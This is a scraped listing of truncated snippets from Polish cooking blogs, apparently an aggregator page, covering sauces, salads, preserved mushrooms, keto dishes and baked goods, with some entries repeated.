oraz usuwamy pestki. Wkładamy do rondelka, dodajemy 2 łyżki wody i gotujemy aż owoce rozpadną się. Pod koniec gotowania dodajmy maliny.  Na talerz wykładamy makaron. Dodajemy jogurt oraz sos owocowy. Dekorujemy owocami i mięta

Słodki Zakątek
Grzyby w zalewie z octu jabłkowego 156

przez 35-45 minut w zależności od wielkości słoika. *Taka ilość zalewy wystarczyła mi na 5-litrowy garnek pełen oczyszczonych i obgotowanych grzybów. Spróbuj także tego: Grzyby duszone w sosie pomidorowym

Codzienna kuchnia niecodzienna
PANCZKRAUT I GULASZ Z INDYKA + FILMIK 140

łyżka mąki do posypania mięsa  1 cebula  przyprawa z indyka, sól, pieprz, papryka słodka i ostra liść laurowy, ziele, pieprz w ziarnkach mąka z wodą do zagęszczenia sosu

Kulinarne Fantazje Marioli
Tarta z kurkami 124

łyżeczki)) Masa 100 g kurek 1 duża czerwona cebula 2 jajka 200 g śmietanki 18 % 20 g tartej mozzarelli natka świeżej pietruszki przyprawy: pieprz, sól, papryka,ząbek czosnku, łyżka sosu sojowego (opcjonalnie) Kruche ciasto Wszystkie składniki włóż do miski i wyrabiaj ciasto ręcznie lub mikserem. Ciasto zawiń w folię i włóż do lodówki na 30 minut. Po tym czasie wyjmij

Przepisy na widelcu
Kurczak zapiekany z pieczarkami i śmietaną. 168

podsunęła mi koleżanka. Ona, robiła w ten sposób udka. Ja zrobiłam piersi, bo moje chłopaki lubią. Musze przyznać, że wyszło pysznie. Piersi nie są suche, a do tego, ten sos śmietanowo, pieczarkowy... mmm. Pycha. Polecam, bo to proste i smaczne danie. Możecie użyć, dowolnych części kurczaka. Co kto lubi. Składniki: 4 pojedyncze piersi kurczaka 1 cebula 500 g. pieczarek

Agusiowe smakołyki
szybkowar-gołąbki z kapusty włoskiej w sosie ze świeżymi pomidorami... 143

wystudzenia, najlepiej na całą noc. Zimne gołąbki można bez połamania dobrze z szybkowara wyjmować na talerz, ciepłe się rozlecą, , wywar wlać do garnuszka, będzie gęsty dzięki zmiksowanym pomidorom. - sos ze świeżych pomidorów jest najlepszym dodatkiem do gołąbków z młodej kapusty, takie gołąbki lubimy również na zimno do pieczywa z masłem..........SMACZNEGO

W Mojej Kuchni Lubię
Ryba w sosie warzywnym 248

kawałek papryki 1 opakowanie boczniaków 100 g szpinaku 5 łyżek jogurtu naturalnego przyprawa do ryb sól, pieprz, chili Przygotowanie: Paprykę pokroić w kostkę, boczniaki … Czytaj dalej Ryba w sosie warzywnym

czarrna od kuchni
Leśne grzyby duszone w sosie pomidorowym 123

słoików. Po wystudzeniu sprawdzić każdy słoik, czy na pewno jest dobrze zamknięty. Wieczka powinny być wklęśnięte, wtedy mamy pewność, że słoiki dobrze się zapasteryzowały. Jak wykorzystać grzyby duszone w sosie pomidorowym Najprostszym obiadowym sposobem jest odgrzanie ich i podanie razem z ziemniakami lub z pieczywem. Można także przygotować grzanki lub tosty, a na wierzchu ułożyć po łyżce gorących grzybów

Codzienna kuchnia niecodzienna
Sałatka ziemniaczana z ogórkami konserwowymi 194

bobem, z jajkiem i mniszkiem lekarskim , z bobem , z młodych ziemniaków . Sałatka ziemniaczana z ogórkami konserwowymi to bardzo prosta do przygotowania sałatka. Połączenie słodko – kwaśne plus majonezowy sos czosnkowy jest naprawdę pycha! Do tej sałatki możecie użyć klasycznych ogórków konserwowych, ale też ogórków z chili albo sałatki szwedzkiej. PRZEPIS NA SAŁATKĘ ZIEMNIACZANĄ Z OGÓRKAMI Składniki na sałatkę ziemniaczaną

Dorota Smakuje
KOTLECIKI ZIEMNIACZANE CURRY Z MARCHEWKĄ 179

marchewki i czosnku. Doprawione curry w proszku i odrobiną chili.  Przygotowuje się je szybko i bezproblemowo, a smakują naprawdę rewelacyjnie. Sprawdzą się jako dodatek do gulaszy lub warzywnych sosów. Można podać je z mizerią lub sałatką coleslaw. Dobre do odgrzewania w kolejnych dniach. Do ich przygotowania najlepiej użyć dobrze odparowanych i dokładnie ostudzonych ziemniaków. Sama najczęściej robię

cool and minty
Papryka Ramiro faszerowana mięsem i ryżem. PRZEPIS 157

odetnij końcówkę z łodygą, każdy strąk ciasno wypełnij farszem, przykryj odciętą końcówką. Pomidory wyłóż na dnie naczynia do zapiekania, skrop olejem (około 2 łyżek), dopraw solą i pieprzem. Na sosie ułóż papryki. Piecz w temp 180 stopni przez około 50 minut. Rada: podobnie możesz przyrządzić też zwykłą paprykę, wówczas jednak strąki najlepiej zapiekać w pozycji pionowej. Artykuł Papryka Ramiro faszerowana

Kulinarna Polska
Pełnoziarniste spaghetti 210

Składniki: 1 filet z kurczaka 1 cebula 1/2 cukinii 100 g szpinaku baby 1 puszka krojonych pomidorów 1 łyżka sosu chili 1 mini papryczka chili zioła prowansalskie słodka papryka jarzynka … Czytaj dalej Pełnoziarniste spaghetti

czarrna od kuchni
9 prostych zasad zdrowego życia 122

łatwością możesz je wprowadzić w swój rytm dnia. Twój organizm na pewno Ci za to podziękuje Zapraszam Cię także do wypróbowania kilku przykładowych zdrowych posiłków: dorsz w sosie z suszonych pomidorów, krem paprykowy z soczewicą, sałatka na szpinaku, omlet kakaowy . Artykuł 9 prostych zasad zdrowego życia pochodzi z serwisu Natka-Pietruszki.pl

Natka Pietruszki
Rolada ze schabu z omletem 129

minut przed końcem rozcinamy folię żeby mięso się podpiekło. Gotowy schab wyciągamy z piekarnika i zostawiamy na 10 minut do odpoczęcia. Roladę podajemy pokrojoną na plasterki i polaną ulubionym sosem (ja polecam koperkowy lub grzybowy). Smacznego Artykuł Rolada ze schabu z omletem pochodzi z serwisu PatiGotuje

PatiGotuje
Pieczona papryka z ziołami do słoików na zimę 196

Papryka to niezwykłe warzywo, które świetnie smakuje na surowo, na ciepło w leczo i ratatuille ale szczególnie pyszna jest papryka pieczona. Pieczona papryka jest bazą cudownej zupy, dodatkiem do sosów i sałatek, a polana oliwą stanowi samodzielną przekąskę. Pieczoną paprykę można także marynować i cieszyć się jej słonecznym smakiem w zimowych miesiącach. Oto prosty i szybki przepis na pieczoną paprykę

Gotujemy i jemy
Pieczona papryka z ziołami do słoików na zimę 176

Papryka to niezwykłe warzywo, które świetnie smakuje na surowo, na ciepło w leczo i ratatuille ale szczególnie pyszna jest papryka pieczona. Pieczona papryka jest bazą cudownej zupy, dodatkiem do sosów i sałatek, a polana oliwą stanowi samodzielną przekąskę. Pieczoną paprykę można także marynować i cieszyć się jej słonecznym smakiem w zimowych miesiącach. Oto prosty i szybki przepis na pieczoną paprykę

Korniszonki
Pizza z dyni z pieczoną papryką, fetą i rukolą 165

zagniatamy ciasto od czasu do czasu podsypując. Formujemy ciasto w kulę i odstawiamy do niewyrośnięcia. Następnie z ciasta zrobić dysk i przełożyć na papier do pieczenia. Wierzch ciasta polać sosom przygotowanym z : passaty z ząbkiem czosnku, 1 łyżką oliwy z oliwek, oregano i solą himalajską. Pieczemy w 230 stopniach ok 20 minut. Po wyjęciu rozkładamy: pieczoną paprykę, ser feta, rukolę

AZgotuj!
Konfitura jabłkowo - ananasowa 113

przetwory z polskich owoców. Z egzotycznymi owocami zaczęłam eksperymentować dopiero w Arabii Saudyjskiej, ucząc się głównie od moich koleżanek z Indii. Były to zazwyczaj pikantne i baaardzo pikantne sosy chutney podawane do różnych potraw. Tam też po raz pierwszy jadłam chutney z ananasa i jabłek.  Zajadałem, aż mi się uszy trzęsły, a skoro można zrobić chutney, to można

Kulinaria - potrawy z różnych stron świata
Kolorowy makaron z sosem brokułowo - kapuścianym 152

Danie bardzo widowiskowe, oczy same jedzą a do tego aromatyczne i smakowite. Polecam na obiad lub wczesną kolację. Zasmakuje każdemu, małemu i dużemu. Zapraszam na wspaniały obiad. Makaron w sosie brokułowo - kapuścianym. CZYTAJ DALEJ

Moje Małe Czarowanie
DOMOWA NUTELLA - NAJLEPSZA! 176

duża moc -  900 łatwe czyszczenie Podsumowanie: Blender Kernau KSHB 910 B idealnie sprawdzi się w domowych warunkach i błyskawicznie wykona wiele prac kuchennych, umożliwiając przygotowanie różnych potraw - zup, sosów, koktajli, a także rozdrobni mięso oraz warzywa. Duża moc sprawia, że doskonale poradzi sobie nawet z twardymi produktami - zmieli orzechy, rozkruszy kostki lodu, zmieli twarde bułki na bułkę tartą. Dodatkowo

Kuchnia MagdaLeny
DOMOWA NUTELLA - NAJLEPSZA! 176

duża moc -  900 łatwe czyszczenie Podsumowanie: Blender Kernau KSHB 910 B idealnie sprawdzi się w domowych warunkach i błyskawicznie wykona wiele prac kuchennych, umożliwiając przygotowanie różnych potraw - zup, sosów, koktajli, a także rozdrobni mięso oraz warzywa. Duża moc sprawia, że doskonale poradzi sobie nawet z twardymi produktami - zmieli orzechy, rozkruszy kostki lodu, zmieli twarde bułki na bułkę tartą. Dodatkowo

Kuchnia MagdaLeny
Dieta ketogeniczna – przykładowy keto jadłospis 255

muffiny jajeczne (Paleo, LowCarb) Marmurkowe keto serniczki (Paleo, LowCarb, bez nabiału) Keto sałatka z cukinii (Paleo, LowCarb) Keto omlet z boczkiem i szpinakiem (Paleo, LowCarb) Keto crêpes czekoladowe z sosem truskawkowym (Paleo, LowCarb) Keto ciasto z truskawkami (Paleo, LowCarb) Keto gofry śniadaniowe (Paleo, LowCarb) Keto roladka z cukinii z łososiem (Paleo, LowCarb, AIP) Keto placki z cukinii z łososiem (Paleo

Modern Cave Girl
SAŁATKA Z KALAFIORA (keto, LCHF, bez glutenu) 468

przedstawionej tutaj wersji z serem oraz jajkami jest bardzo łatwa do przygotowania, smaczna i sycąca. Fanom kalafiora, który jest warzywem niskowęglowodanowym polecam także ryż z kalafiora , którego używam do sosów ale i do sushi w wersji LCHF . Składniki – sałatka z kalafiora: 400 g kalafiora 5 jajek 130 g sera żółtego 130 g sera mozzarella 1 pęczek szczypiorku 1 pęczek

Ola la LCHF
Galette z jabłkami – rustykalna tarta z jabłkami 298

tarta jest tak cudownie krucha i prosta do przygotowania, że mogłabym ją piec codziennie. Można podawać ją na ciepło i na zimno, samą jak i z lodami czy sosem waniliowym. Ciasto nie jest duże – starczy na ok. 8-10 porcji – gdy zapraszamy gości, zapewne zniknie co do okruszka. Galette z jabłkami: 4-5 kwaskowych jabłek (najlepiej szara reneta

Poezja smaku
Ryba w sosie pomidorowym z ananasem 140

ananasy i sok z puszki (ja dolałam dodatkowo  1/2 szkl. soku z ananasa- zyskałam więcej zalewy), następnie dodać ketchup i zagotować, poczekać, aż odrobine ostygnie i zalać rybę sosem(ja zalewałam warstwami

Kuchnia Beaty
Zapiekanka makaronowa z szynką i pieczarkami. 190

żaroodpornego, dodać pieczarki z szynką i cebulą. Wymieszać. Do naczynia wbić jajko, dodać śmietanę i przyprawy, według uznania. Wymieszać. Ser zetrzeć na tarce o dużych oczkach. Połowę sera dodać sosu śmietanowego. Wymieszać i wlać do makaronu. Ponownie wszystko wymieszać. Wierzch zapiekanki posypać resztą utartego sera. Tak przygotowaną zapiekankę wstawić do piekarnika nagrzanego do 190 stopni i piec 25 minut

Agusiowe smakołyki
Dietetyczne klopsiki z indyka 163

tłuszczu przygotujesz równie smaczne klopsy. Nie tylko zdrowsze, ale i łatwiejsze do przygotowania. Układasz przygotowane klopsiki na blaszce, a całą resztę zrobi za ciebie piekarnik. Do tego ulubiony sos i pyszny obiad gotowy

Gotuj zdrowo!Guten Appetit!
udka kurczaka pieczone w rękawie z majonezem, cebulą... 173

nagrzany na 220C, grzanie góra/dół, udka piec około 45 minut, następnie rękaw na środku rozciąć i na termoobiegu 160C piec z 15 minut, wywar można wykorzystać do sosu - bardzo smaczne, aromatyczne udka kurczaka pieczone w rękawie w majonezie są idealne do dań na ciepło i na zimno..........SMACZNEGO

W Mojej Kuchni Lubię
Złota jesień w kuchni 183

Lubię zupy z dodatkami, a do tej przygotowałam pistou. Pistou przypomina pesto ale nie zawiera orzechów. Jest to świetny dodatek do zup, który również świetnie się sprawdza jako zimny sos do mięsa. Lubicie chińskie zupy ale nie te co się zalewa wrzątkiem? Dla mnie prawdziwa chińska zupa to zupa z kukurydzy . Zupa jest smaczna, delikatna w smaku, lekko słodka

codojedzenia
Patison al’a schabowy 175

ponieważ pestki są zbyt twarde, by je zjeść.   Tak przygotowanego patisona można podać do obiadu (z gotowanymi ziemniakami, z ryżem), a także samodzielnie np. z sałatką warzywną lub sosem czosnkowym.       Pomysły zdrowe koktajle owocowe… – Koktajl z jabłka i banana – Koktajl z mango i ananasem – Koktajl z kiwi i pomarańczy – Koktajl

Kulinarny S.O.S.
Patison al’a schabowy 175

ponieważ pestki są zbyt twarde, by je zjeść.   Tak przygotowanego patisona można podać do obiadu (z gotowanymi ziemniakami, z ryżem), a także samodzielnie np. z sałatką warzywną lub sosem czosnkowym.       Pomysły zdrowe koktajle owocowe… – Koktajl z jabłka i banana – Koktajl z mango i ananasem – Koktajl z kiwi i pomarańczy – Koktajl

Kulinarne S.O.S.
Pita po polsku 121

smaku doprawiamy solą i pieprzem. Pity przygotowujemy wg przepisu zawartego na opakowaniu. Faszerujemy sałatą, pomidorem, grillowaną cukinią, cebulą czerwoną oraz cebulą z kiełbasą. Podajemy z jajkiem sadzonym i sosem czosnkowym

R'n'G Kitchen
Pałki pieczone z warzywami 328

Składniki: 4 pałki z kurczaka 1/4 selera 1 marchewka kawałek pora 100 g kukurydzy z puszki 100 g czerwonej fasoli z puszki ostra mieszanka przypraw czubryca czerwona sos chili Przygotowanie: … Czytaj dalej Pałki pieczone z warzywami

czarrna od kuchni
Instytut Kulinarny Transgourmet – otwarcie 117

których można było obserwować wszystkie atrakcje. Jako pierwszy swój pokaz przeprowadził mistrz sztuki kulinarnej z Francji, Marc Galais. Przygotował sandacza z kurkami i pistacjami w towarzystwie warzyw i sosu maślanego.     Następnie członkowie Narodowej Kadry Kucharzy Ogólnopolskiego Stowarzyszenia Szefów Kuchni i Cukierni przygotowywali kolejne, autorskie dania. Muszę przyznać, że te smakowite „perełki” pojawiały się tak szybko, że nie byłem

kuron.com.pl
Jak rzuciliśmy wszystko i pojechaliśmy na narty 128

połączone kością w kształcie litery T. Bogusia zamówiła wiślańskiego burgera z plastrami boczku, oscypka i ogórka kiszonego. Stek był zgodnie z moim zamówieniem średnio wysmażony, soczysty z dodatkiem aromatycznego sosu i gratin z pieczoną szalotką. Bogusi burger…co ja Wam będę mówił, wyobrazicie sobie 200 g grillowanej wołowiny, chrupiący boczek, lokalny oscypek. Do tego kieliszek dobrego wina, piękny widok

kuron.com.pl
Zupa krem z kurek i prawdziwków 166

jedną całość zmieszane. Taką zupę można z różnymi dodatkami podawać i na różne sposoby zajadać. Ja do nich podsmażonych grzybów dodałam, i zupą się delektowałam. Moja córka zakombinowała, jako sosu do makaronu dodała, serem żółtym posypała i smakiem mojej zupy się zachwycała.     Składniki: ok. 300 g świeżych kurek, 200 g świeżych prawdziwków, 1 łyżka masła

Moniki Smakołyki
Czwartek: Wegetariańskie curry z cieciorki i batata 150

Wlej do rondla z warzywami pomidory z zalewą. Rozdrobnij je szpatułką. Następnie dodaj puszkę mleka kokosowego. Wymieszaj i gotuj na wolnym ogniu do momentu aż batat będzie miękki, a sos odparuje i się zagęści. Posyp zieleniną. Podawaj z gotowanym ryżem i chlebkami pita. Smacznego! Artykuł Czwartek: Wegetariańskie curry z cieciorki i batata pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Pyszne Ciasto na Pizzę 201

ciasta dokładnie łącze ze sobą. Pozostawiam pod przykryciem ok 2 godziny. Po tym czasie dokładnie wyrabiam . Musimy tak długo wyrabiać aż ciasto będzie gładkie I elastyczne. Ciasto rozwałkowujemy. Smaruję sosem do pizzy A następnie posypuję przyprawą do pizzy i papryka suszoną. Kładę dowolne składniki. Piekę w 180 stopniach przez 30 min. Smacznego

Gotowanie Patki
ŚMIETANKOWY PUCH 154

20x30cm. Po wystygnięciu dzielimy na dwie równe części. Wykonanie masy śmietankowej:  Schłodzoną śmietankę połączyć z serkiem mascarpone i cukrem. Ubijać wszystko razem do otrzymania gęstego kremu. Czekoladowy sos (1/2szklanki) rozrzedzamy delikatnie mlekiem (mniej więcej do 3/4 objętości szklanki). Takim płynem sączymy przekrojone części biszkoptu. Przekładamy kremem śmietankowym. Wierzch ciasta posypujemy wiórkami czekoladowymi. Smacznego! Dziękuję, że tutaj jesteś!  Zostaw

Słodki Zakątek
Filet z kurczaka a'la carbonara 175

rozgrzanym oleju podsmażamy cebulę i boczek do zarumienienia. Wtedy dodajemy filety obsypane solą i pieprzem. Smażymy 5-10 minut pod koniec dodając czosnek. Wlewamy śmietankę, dusimy jeszcze chwilę aż sos zgęstnieje. W razie potrzeby doprawiamy do smaku solą i pieprzem. Przed podaniem dekorujemy natką pietruszki

Szefowa kuchni
Zapiekane naleśniki gryczane z porem i szynką 153

ognia i mieszamy z pokrojoną w kostkę szynką. Na usmażonych naleśnikach rozsypujemy trochę sera, nakładamy farsz, zawijamy w ruloniki i umieszczamy w brytfance (wcześniej wysmarowaną za pomocą pędzelka sosem śmietanowym). Wszystkie posypujemy resztą sera i zapiekamy w 180 stopniach, aż ser się rozpuści. Smacznego!       Artykuł Zapiekane naleśniki gryczane z porem i szynką pochodzi z serwisu Just

Be Fit Be Strong
Najlepsza na świecie pomidorówka 148

jeżlei komuś oczy otworzę, to przysięgam Wam, że innej pomidorowej już nigdy nie ruszycie. Mój przepis to baza. Można podawać z dowolnym makaronem, ryżem, odparować wodę i będzie pyszny sos. Czas pracy to pół godzinki maksymalnie. Dobrze zrobić jej więcej, bo do te zupy się podchodzi kilka razy- taka jest dobra. Składniki na 4-6 porcji: około 2 kg pomidorów

greenscarf
Domowa przyprawa uniwersalna 174

Domowa przyprawa uniwersalna jest doskonałym dodatkiem do rosołu, sosów czy zup. Przyprawa z powodzeniem zastąpi Wam dobrze znane przyprawy sklepowe. Do jej zrobienia będziecie potrzebowali marchewki, pietruszki, natki pietruszki, selera, liści selera, pora, soli, cukru oraz kurkumy. Warzywa przygotować najlepiej w suszarce do żywności – czas suszenia to około kilka godzin w temperaturze 70 stopni. Przy zakupie suszarki , w instrukcji

Kuchnia Bazylii
Parówkowe łódeczki 147

filozofią, ale pomoże Twoim domownikom pozytywnie rozpocząć dzień Przy takim śniadanku nawet mały niejadek nabierze apetytu   Na poranny głód… ** Pasta jajeczna ** Chleb smażony w jajku ** Jajka w sosie czosnkowym ** Pasta do pieczywa jajko-makrela   Składniki na 2 łódeczki: 2 parówki 2 jajka sól i pieprz olej lub masło do smażenia ewentualnie szczypiorek lub natka pietruszki 2 wykałaczki

Kulinarny S.O.S.
Parówkowe łódeczki 147

filozofią, ale pomoże Twoim domownikom pozytywnie rozpocząć dzień Przy takim śniadanku nawet mały niejadek nabierze apetytu   Na poranny głód… ** Pasta jajeczna ** Chleb smażony w jajku ** Jajka w sosie czosnkowym ** Pasta do pieczywa jajko-makrela   Składniki na 2 łódeczki: 2 parówki 2 jajka sól i pieprz olej lub masło do smażenia ewentualnie szczypiorek lub natka pietruszki 2 wykałaczki

Kulinarne S.O.S.
Sałatka ryżowa z tuńczykiem 99

kolację, świetna by zabrać ją do pracy. Szybka i być może wszystkie składniki macie w domu. Składniki: 1 torebka ryżu ugotowanego w osolonej wodzie 1 puszka tuńczyka w sosie własnym – odcedzamy wodę 1 czerwona papryka pokrojona w kostkę 1 puszka zielonego groszku- odlewamy zalewę sól pieprz 1 łyżka majonezu 2 łyżki jogurtu naturalnego Wszystkie składniki mieszamy i zajadamy

MojaQchnia.pl
SPAGHETTI Z SOSEM KREMOWO-KURKOWYM 181

koniec dodać serek mascarpone, konsystencja powinna być kremowa w razie konieczności dodać więcej serka lub wody; Doprawić przeciśniętym czosnkiem,pieprzem i natką pietruszki; Do gorącego sosu dodać makaron, dokładnie wymieszać, podawać na gorąco.  Mniammm

pieprzny smaczek
Sałatka z jajkiem i majonezem 232

wygodna forma przygotowywania śniadań, gdyż taką sałatkę łatwo zabrać na wynos.  Przygotowuję ją wtedy wieczorem dnia poprzedniego i przechowuję w lodówce. Ważne jest, żeby nie mieszać jej z sosem i przyprawami, to wtedy nie puści wody. Większość śniadań, których nie jem w domu to sałatki. W różnym wydaniu, ale bardzo często zawierające jajko gotowane na półtwardo. Czasami dodaję łososia

Modern Cave Girl
Dlaczego akurat dieta Paleo? 124

wartości odżywcze tego, co zjemy. Więcej pożytku przyniesie zjedzenie organizmowi przykładowo wątróbki z kapustą kiszoną niż tradycyjnego panierowanego schabowego (czyli cienkiego kotleta w grubej panierce) z ziemniakami i z sosem zaciąganym mąką. I tym należy się przede wszystkim kierować żywiąc się Paleo. Jakość produktów W diecie Paleo bardzo ważnym aspektem jest także jakość produktów. Najlepiej oczywiście żeby były ekologiczne. Mięso

Modern Cave Girl
Paleo Chicken Burger w tostones 199

akurat u nas tym razem padło na drób, ale w wersji oryginalnej należałoby się zaopatrzyć w jakąś dobrej jakości wołowinę. Burgery zostały dodatkowo przełożone rucolą oraz guacamole w roli sosu. Mimo tego, że odbiegały od klasycznej wersji burgera, były bardzo smaczne. Polecam spróbować! Oto szczegółowy przepis: Paleo Chicken Burger w tostones Paleo wariacja na temat klasycznego amerykańskiego dania, jakim

Modern Cave Girl
Jajka zapiekane w szynce 181

się zbyt mało urozmaicone, to śpieszę zawiadomić, że można je dowolnie ulepszać. Dajcie się ponieść fantazji! Na przykład można wyłożyć spód szpinakiem uduszonym ze śmietanką kokosową lub też sosem pomidorowym. Kombinacji jest wiele. Mi jednak bardzo zasmakowała wersja podstawowa i nie czuję potrzeby dodawania żadnych innych smaków. Podoba mi się prostota tego dania. Ponoć w prostocie tkwi geniusz. I tego

Modern Cave Girl
Dyniowe spaghetti alla carbonara (Keto, Paleo, LowCarb) 162

masy dyniowej, dorzucić boczek i zdjąć z ognia. Do nadal gorącego dania wlać jajko roztrzepane z mlekiem i dobrze wymieszać tak, żeby jajko się nie ścięło, tylko zagęściło dyniowy sos. Podawać gorące. Artykuł Dyniowe spaghetti alla carbonara (Keto, Paleo, LowCarb) pochodzi z serwisu Dieta ketogeniczna, Paleo i LowCarb - sposób na zdrowie

Modern Cave Girl
Churros (Keto, Paleo, LowCarb) 187

Daleko pada Keto wersja od oryginału Gotowe churros posypałam zmielonym na pył erytrytolem zmieszanym z cynamonem. Jak w przypadku prawdziwych meksykańskich churros. Smakowały wybornie zarówno same, jak i z sosem czekoladowym. Muszę jednak przyznać, że niewiele miały one wspólnego z naszymi tradycyjnymi faworkami. Faworki są chrupiące, a moja wersja była za sprawą mąki kokosowej raczej miękka. Myślę, że równie ciężko

Modern Cave Girl
Keto obiad- kotlety mielone w boczku (Paleo, LowCarb, AIP) 244

sklepie osiedlowym i Keto obiad prawie gotowy. Kto zresztą nie zna lub nie lubi kotletów mielonych? Jest to obowiązkowa pozycja w każdej polskiej kuchni. Zazwyczaj serwowana w towarzystwie sosu i ziemniaków. U mnie oba dodatki- z oczywistych przyczyn- odpadają. Jest za to boczek, który dodaje całości smaku i podwyższa udział tłuszczu. Moje mielone powstały z chudej łopatki wieprzowej, więc dodatkowa

Modern Cave Girl
Sałatka nicejska (Keto, Paleo, LowCarb) 193

słowa znaczeniu. Dania Lody , Przekąska , Sałatka , Śniadanie Kuchnia Europejska , Śródziemnomorska Keyword jajka , sałatka , tuńczyk Porcje 4 porcje Czas przygotowania 10 minut Składniki Sałatka 4 jajka 1 puszka tuńczyka w sosie własnym (lub w oliwie - wtedy można pominąć ten składnik dressingu) 400 g sałaty lodowej lub mieszanki różnych sałat 1/2 cebuli czerwonej niewielkiej 100 g oliwek czarnych 4 fileciki anchovies

Modern Cave Girl
Burrata z pomidorami i szynką parmeńską 156

Zapraszam do wszystkich moich  przepisów na sałatki .  Polecam Wam także: –  sałatka z pieczonym burakiem i kozim serem –  sałatka gyros –  sałatka cezar z kurczakiem –  sos do sałatki –  pieczone faszerowane bataty –  sałatka z pieczonym kalafiorem –  sałatka z gruszką i gorgonzolą –  sałatka ze szparagami i jakiem –  sałatka kebab –  sałatka brokułowa

nietylkopasta.pl
Nuggetsy z kurczaka w jajku i kaszy mannie 146

dzieciom, ale również dorośli będą nimi zachwyceni. Osobiście nie przepadam za klasyczną panierką z bułki tartej, która chłonie tłuszcz jak gąbka. Kotleciki pasują do pieczywa, frytek, różnych sałatek i sosów. Polecam! 1 pierś z kurczaka (pojedyncza, duża) słodka papryka w proszku  (u mnie wędzona) czosnek granulowany sól, pieprz Dodatkowo: 1 jajko (duże) kasza manna Ponadto: odrobina tłuszczu do smażenia

Di gotuje
Faszerowany mostek cielęcy 130

pietruszki. Dokładnie wymieszałem. Farszem wypełniłem kieszeń. Otwór zszyłem nicią. Mięso ułożyłem w brytfance, podlałem olejem, piekłem około 2 godziny w temperaturze 200 stopni C, polewając ciepłą wodą oraz powstającym sosem

R'n'G Kitchen
Szybka jesienna sałatka owocowa 140

reszty owocu wyciskamy sok. Sok z pomelo łączymy z miodem. Śliwki i brzoskwinie kroimy w plasterki, a z granatu wyjmujemy nasiona. Na talerzach układamy owoce, posypujemy granatem, skrapiamy sosem z soku z pomelo i miodu oraz posypujemy listkami mięty. Smacznego! Artykuł Szybka jesienna sałatka owocowa pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Surówka z pekinki ze szczypiorkiem i olejem z ostropestu 242

pekinki ze szczypiorkiem i olejem z ostropestu. Kilka prostych składników, zdrowy olej z ostropestu i zielony dodatek do drugiego dania gotowy. Ja najczęściej podaję tak przygotowaną surówkę do najrówniejszych sosów mięsnych (dziś z piersi kurczaka). A dlaczego olej z ostropestu? Olej z ostropestu jest bogatym źródłem wielonienasyconych kwasów tłuszczowych, jak również sylimaryny. Stabilizuje ona strukturę błon komórkowych, zapobiega ich włóknieniu

Słodkie okruszki
KUCHENNA APTEKA #43 - KASZA MANNA 163

kaszę mannę razową oraz kaszę mannę orkiszową. Kaszę mannę można podawać na słodko, jak i wytrawnie. Stosuje się ją do przygotowania zupy mlecznej, klusek, deserów, ale też do zagęszczania sosów, czy jako zamiennik mąki pszennej. Kasza manna to źródło: witamin z grupy B: B1, B2, B3, B5, B6 kwasu foliowego (B9) potasu magnezu cynku żelaza miedzi manganu krzemu jodu fosforu

Kuchnia MagdaLeny
KUCHENNA APTEKA #43 - KASZA MANNA 163

kaszę mannę razową oraz kaszę mannę orkiszową. Kaszę mannę można podawać na słodko, jak i wytrawnie. Stosuje się ją do przygotowania zupy mlecznej, klusek, deserów, ale też do zagęszczania sosów, czy jako zamiennik mąki pszennej. Kasza manna to źródło: witamin z grupy B: B1, B2, B3, B5, B6 kwasu foliowego (B9) potasu magnezu cynku żelaza miedzi manganu krzemu jodu fosforu

Kuchnia MagdaLeny
Sałatka brokułowa 693

dodatkami nie byłaby podana, to zawsze smakuje pysznie – o ile oczywiście lubi się brokuły. Poniżej znajdziecie bardzo prosty, a jednak przepyszny przepis na sałatkę brokułową z jajkiem i sosem czosnkow The post Sałatka brokułowa appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Zabójcza sałatka 199

cytryn i mieszamy. 6.    Rybę drobno kroimy i łączymy z pozostałymi składnikami. 7.    Dokładnie mieszamy i przekładamy do naczynia. 8.    Polewamy sosem. 9.    Posypujemy koperkiem. 10.                     Sałatka gotowa

Kulinarna Chwila
Kapryśny gulasz 141

zalewą. 6.    Paprykę obieramy z nasienia, drobno kroimy łączymy z mięsem. 7.    Doprawiamy papryką. 8.    Mąkę mieszamy z odrobiną wody i wlewamy do sosu, chwilę gotujemy. 9.    Danie gotowe. 10.                      Smacznego

Kulinarna Chwila
Fileciki z indyka z brokułami 167

Brokuł wykładamy mięso. 11.                     Polewamy sosem z grzybami. 12.                     Ser ścieramy na tarce o dużych oczach, posypujemy zapiekankę

Kulinarna Chwila
Zapiekane ziemniaki z serkiem topionym 154

drugą połowę ziemniaków. 5.    Ponownie serek. 6.    Jajka rozkłócić z mlekiem. 7.    Doprawiać solą, pieprzem oraz gałką muszkatołową. 8.    Polać ziemniaki sosem. 9.    Zapiekać 20 minut w 180 ̊ C. 10.                     Ziemniaki

Kulinarna Chwila
Kurczak niby po myśliwsku 189

minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Kurczak niby po myśliwsku Mięso z warzywami w pysznym sosie z dodatkiem grzybów, które sprawiają, że danie jest pyszne i aromatyczne.   Składanki: ·        1 filet z kurczaka

Kulinarna Chwila
Kolorowa pychotka 147

Następną warstwą jest kukurydza. 6.    Jajka siekamy, posypujemy kukurydzę. 7.    W naczyniu mieszamy ketchup z majonezem. 8.    Całość dokładnie polewamy sosem. 9.    Wierzch przykrywamy pokrojoną kapustą. 10.              Sałatka gotowa

Kulinarna Chwila
Kotlety schabowe w sosie czosnkowym 119

Kotlety schabowe w sosie czosnkowym Inna odmiana kotleta schabowego,   robi się szybko i są bardzo smaczne. Składniki: ·        ½ kg schabu ·        ½ łyżeczki czosnku ·        Jogurt duży naturalny ·        4 łyżki majonezu ·        Sól

Kulinarna Chwila
Foremkowe Cudo 102

prużymy na rozgrzanym oleju. 2.    Doprawiamy przyprawą oraz solą. 3.    Dodajemy pokrojone pieczarki. 4.    Paprykę drobno kroimy dodajemy do grzybów. 5.    Sos rozrabiamy zgodnie z przepisem na opakowaniu. 6.    Hartując wlewamy do mięsa, chwilę gotujemy. 7.    Ciastem francuskim wykładamy formę do pieczenia. 8.    Nakładamy farsz

Kulinarna Chwila
Szaszłyki na podkładce ryżowej 158

Gotujemy do chwili, kiedy kostka rosołowa się rozpuści. 15.                     Polewamy sosem mięso. 16.                     Pieczemy 40 minut

Kulinarna Chwila
Ryba Ananasek 132

